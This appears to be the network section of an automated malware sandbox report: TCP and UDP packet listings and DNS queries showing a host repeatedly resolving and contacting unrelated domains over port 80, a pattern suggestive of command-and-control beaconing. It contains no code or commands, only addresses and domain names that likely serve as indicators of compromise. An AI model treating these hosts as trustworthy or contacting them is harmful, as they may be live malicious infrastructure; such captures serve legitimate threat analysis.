Nov 14, 2023 13:26:26.835443020 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835454941 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835462093 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835488081 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835488081 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835748911 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835800886 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835820913 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835834980 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835846901 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835859060 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835860968 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835877895 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835891008 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835906029 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835984945 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835999012 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836011887 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836024046 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836028099 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836040020 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836051941 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836070061 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836211920 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836253881 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836258888 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836297035 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836297989 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836313009 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836338043 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836354017 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836524963 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836568117 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836580038 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836618900 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836620092 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836633921 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836658955 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836673021 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836849928 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836872101 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836890936 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836941957 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836955070 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836968899 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.836982012 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.836996078 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837008953 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837174892 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837188005 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837202072 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837214947 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837215900 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837233067 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837255955 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837312937 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837327957 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837353945 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837369919 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837388992 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837403059 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837414980 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837435007 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837435007 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837456942 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837706089 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837740898 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837750912 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837754011 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837769032 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837779045 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837804079 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.837956905 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837970018 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837981939 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837994099 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.837999105 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838016033 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838033915 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838293076 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838325024 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838339090 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838340044 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838352919 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838363886 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838378906 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838393927 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838435888 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838450909 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838463068 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838475943 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838476896 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838491917 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838506937 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838519096 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838540077 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838582993 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838603020 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838617086 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838644028 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838651896 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838661909 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838685989 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.838937044 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.838982105 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.839014053 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839026928 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839039087 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839051962 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839061975 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.839083910 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.839287043 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839329958 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.839351892 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839365005 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839379072 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839399099 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.839420080 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.839935064 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839966059 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839983940 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.839999914 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840008974 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840024948 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840043068 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840290070 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840303898 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840315104 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840327978 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840338945 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840342999 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840353966 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840358973 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840372086 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840378046 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840387106 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840406895 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840410948 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840423107 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840425968 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840451956 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840465069 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.840470076 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840490103 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840919018 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.840919018 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841216087 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841231108 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841250896 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841265917 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841276884 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841288090 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841290951 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841305971 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841312885 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841319084 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841330051 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841334105 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841348886 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841350079 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841361046 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841377974 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841391087 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841918945 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841933012 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841945887 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841958046 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841959953 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.841979027 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.841990948 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842004061 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842029095 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842066050 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842094898 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842108011 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842119932 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842134953 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842159033 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842437983 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842459917 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842473984 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842485905 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842492104 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842514992 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842521906 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842556953 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842685938 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842720032 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842750072 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842762947 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842776060 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842787027 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842806101 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842818022 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842936039 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842950106 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842962980 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842972994 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842978001 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.842987061 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.842993975 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.843005896 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.843020916 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.843035936 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.843868017 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.851995945 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:28.725647926 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:27:01.368810892 CET	49164	80	192.168.2.22	103.224.212.212
Nov 14, 2023 13:27:01.556674004 CET	80	49164	103.224.212.212	192.168.2.22
Nov 14, 2023 13:27:01.556788921 CET	49164	80	192.168.2.22	103.224.212.212
Nov 14, 2023 13:27:01.556895971 CET	49164	80	192.168.2.22	103.224.212.212
Nov 14, 2023 13:27:01.751121998 CET	80	49164	103.224.212.212	192.168.2.22
Nov 14, 2023 13:27:01.751142979 CET	80	49164	103.224.212.212	192.168.2.22
Nov 14, 2023 13:27:01.751332045 CET	49164	80	192.168.2.22	103.224.212.212
Nov 14, 2023 13:27:01.751410961 CET	49164	80	192.168.2.22	103.224.212.212
Nov 14, 2023 13:27:01.937576056 CET	80	49164	103.224.212.212	192.168.2.22
Nov 14, 2023 13:28:02.013607979 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.320044994 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.320250988 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.320327997 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.667289019 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687213898 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687242031 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687256098 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687268972 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687280893 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687293053 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687308073 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687319994 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687330961 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.687541008 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.687644005 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.891297102 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.993742943 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993801117 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993813038 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993829966 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993837118 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993851900 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993865013 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993876934 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993880033 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.993880033 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.993889093 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:02.993923903 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.993978024 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:02.994016886 CET	49166	80	192.168.2.22	91.195.240.19
Nov 14, 2023 13:28:03.300403118 CET	80	49166	91.195.240.19	192.168.2.22
Nov 14, 2023 13:28:23.604310036 CET	49167	80	192.168.2.22	38.11.36.68
Nov 14, 2023 13:28:23.777333021 CET	80	49167	38.11.36.68	192.168.2.22
Nov 14, 2023 13:28:23.777555943 CET	49167	80	192.168.2.22	38.11.36.68
Nov 14, 2023 13:28:23.777817965 CET	49167	80	192.168.2.22	38.11.36.68
Nov 14, 2023 13:28:23.949883938 CET	80	49167	38.11.36.68	192.168.2.22
Nov 14, 2023 13:28:23.950438976 CET	80	49167	38.11.36.68	192.168.2.22
Nov 14, 2023 13:28:23.950762033 CET	49167	80	192.168.2.22	38.11.36.68
Nov 14, 2023 13:28:23.950858116 CET	49167	80	192.168.2.22	38.11.36.68
Nov 14, 2023 13:28:24.122905016 CET	80	49167	38.11.36.68	192.168.2.22
Nov 14, 2023 13:28:45.013690948 CET	49168	80	192.168.2.22	3.33.130.190
Nov 14, 2023 13:28:45.165218115 CET	80	49168	3.33.130.190	192.168.2.22
Nov 14, 2023 13:28:45.165352106 CET	49168	80	192.168.2.22	3.33.130.190
Nov 14, 2023 13:28:45.165462017 CET	49168	80	192.168.2.22	3.33.130.190
Nov 14, 2023 13:28:45.316684008 CET	80	49168	3.33.130.190	192.168.2.22
Nov 14, 2023 13:28:45.382431030 CET	80	49168	3.33.130.190	192.168.2.22
Nov 14, 2023 13:28:45.382482052 CET	80	49168	3.33.130.190	192.168.2.22
Nov 14, 2023 13:28:45.382580996 CET	49168	80	192.168.2.22	3.33.130.190
Nov 14, 2023 13:28:45.382627964 CET	49168	80	192.168.2.22	3.33.130.190
Nov 14, 2023 13:28:45.396579981 CET	80	49168	3.33.130.190	192.168.2.22
Nov 14, 2023 13:28:45.396661997 CET	49168	80	192.168.2.22	3.33.130.190
Nov 14, 2023 13:28:45.534183025 CET	80	49168	3.33.130.190	192.168.2.22
Nov 14, 2023 13:29:05.731285095 CET	49169	80	192.168.2.22	34.149.87.45
Nov 14, 2023 13:29:05.883409023 CET	80	49169	34.149.87.45	192.168.2.22
Nov 14, 2023 13:29:05.883658886 CET	49169	80	192.168.2.22	34.149.87.45
Nov 14, 2023 13:29:05.883658886 CET	49169	80	192.168.2.22	34.149.87.45
Nov 14, 2023 13:29:06.035727978 CET	80	49169	34.149.87.45	192.168.2.22
Nov 14, 2023 13:29:06.066524982 CET	80	49169	34.149.87.45	192.168.2.22
Nov 14, 2023 13:29:06.066560030 CET	80	49169	34.149.87.45	192.168.2.22
Nov 14, 2023 13:29:06.066716909 CET	49169	80	192.168.2.22	34.149.87.45
Nov 14, 2023 13:29:06.066764116 CET	49169	80	192.168.2.22	34.149.87.45
Nov 14, 2023 13:29:06.218295097 CET	80	49169	34.149.87.45	192.168.2.22
Nov 14, 2023 13:29:44.455823898 CET	49170	80	192.168.2.22	206.188.193.211
Nov 14, 2023 13:29:47.458198071 CET	49170	80	192.168.2.22	206.188.193.211
Nov 14, 2023 13:29:47.675571918 CET	80	49170	206.188.193.211	192.168.2.22
Nov 14, 2023 13:29:47.675832987 CET	49170	80	192.168.2.22	206.188.193.211
Nov 14, 2023 13:29:47.675930977 CET	49170	80	192.168.2.22	206.188.193.211
Nov 14, 2023 13:29:50.687489986 CET	49170	80	192.168.2.22	206.188.193.211
Nov 14, 2023 13:29:53.008421898 CET	49170	80	192.168.2.22	206.188.193.211

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2023 13:26:23.654068947 CET	57893	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:26:23.819900990 CET	53	57893	8.8.8.8	192.168.2.22
Nov 14, 2023 13:27:01.154933929 CET	54821	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:27:01.361637115 CET	53	54821	8.8.8.8	192.168.2.22
Nov 14, 2023 13:27:21.881318092 CET	54719	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:27:22.065354109 CET	53	54719	8.8.8.8	192.168.2.22
Nov 14, 2023 13:28:01.827485085 CET	49881	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:28:02.012876034 CET	53	49881	8.8.8.8	192.168.2.22
Nov 14, 2023 13:28:23.203567028 CET	54998	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:28:23.603432894 CET	53	54998	8.8.8.8	192.168.2.22
Nov 14, 2023 13:28:44.835366964 CET	52781	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:28:45.006840944 CET	53	52781	8.8.8.8	192.168.2.22
Nov 14, 2023 13:29:05.508264065 CET	63926	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:29:05.729218960 CET	53	63926	8.8.8.8	192.168.2.22
Nov 14, 2023 13:29:23.881514072 CET	65510	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:29:24.058892965 CET	53	65510	8.8.8.8	192.168.2.22
Nov 14, 2023 13:29:44.198112011 CET	62672	53	192.168.2.22	8.8.8.8
Nov 14, 2023 13:29:44.450772047 CET	53	62672	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 14, 2023 13:26:23.654068947 CET	192.168.2.22	8.8.8.8	0xf2c1	Standard query (0)	mail.treeoflifeadventures.com	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:27:01.154933929 CET	192.168.2.22	8.8.8.8	0x622a	Standard query (0)	www.narrativepages.com	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:27:21.881318092 CET	192.168.2.22	8.8.8.8	0xa59f	Standard query (0)	www.credit-cards-16215.bond	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:28:01.827485085 CET	192.168.2.22	8.8.8.8	0xebec	Standard query (0)	www.luxpsy.com	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:28:23.203567028 CET	192.168.2.22	8.8.8.8	0x15a2	Standard query (0)	www.sxchenggu.com	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:28:44.835366964 CET	192.168.2.22	8.8.8.8	0xc2c0	Standard query (0)	www.centralngs.com	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:29:05.508264065 CET	192.168.2.22	8.8.8.8	0xb8e	Standard query (0)	www.west-paws.com	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:29:23.881514072 CET	192.168.2.22	8.8.8.8	0xe8fb	Standard query (0)	www.pj69vip12.cyou	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:29:44.198112011 CET	192.168.2.22	8.8.8.8	0xbbcb	Standard query (0)	www.miamirealestatecommercial.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 14, 2023 13:26:00.929542065 CET	8.8.8.8	192.168.2.22	0x9680	No error (0)	windowsupdatebg.s.llnwi.net		69.164.40.8	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:26:23.819900990 CET	8.8.8.8	192.168.2.22	0xf2c1	No error (0)	mail.treeoflifeadventures.com		41.185.64.155	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:27:01.361637115 CET	8.8.8.8	192.168.2.22	0x622a	No error (0)	www.narrativepages.com		103.224.212.212	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:27:22.065354109 CET	8.8.8.8	192.168.2.22	0xa59f	Name error (3)	www.credit-cards-16215.bond	none	none	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:28:02.012876034 CET	8.8.8.8	192.168.2.22	0xebec	No error (0)	www.luxpsy.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2023 13:28:02.012876034 CET	8.8.8.8	192.168.2.22	0xebec	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:28:23.603432894 CET	8.8.8.8	192.168.2.22	0x15a2	No error (0)	www.sxchenggu.com		38.11.36.68	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:28:45.006840944 CET	8.8.8.8	192.168.2.22	0xc2c0	No error (0)	www.centralngs.com	centralngs.com		CNAME (Canonical name)	IN (0x0001)	false
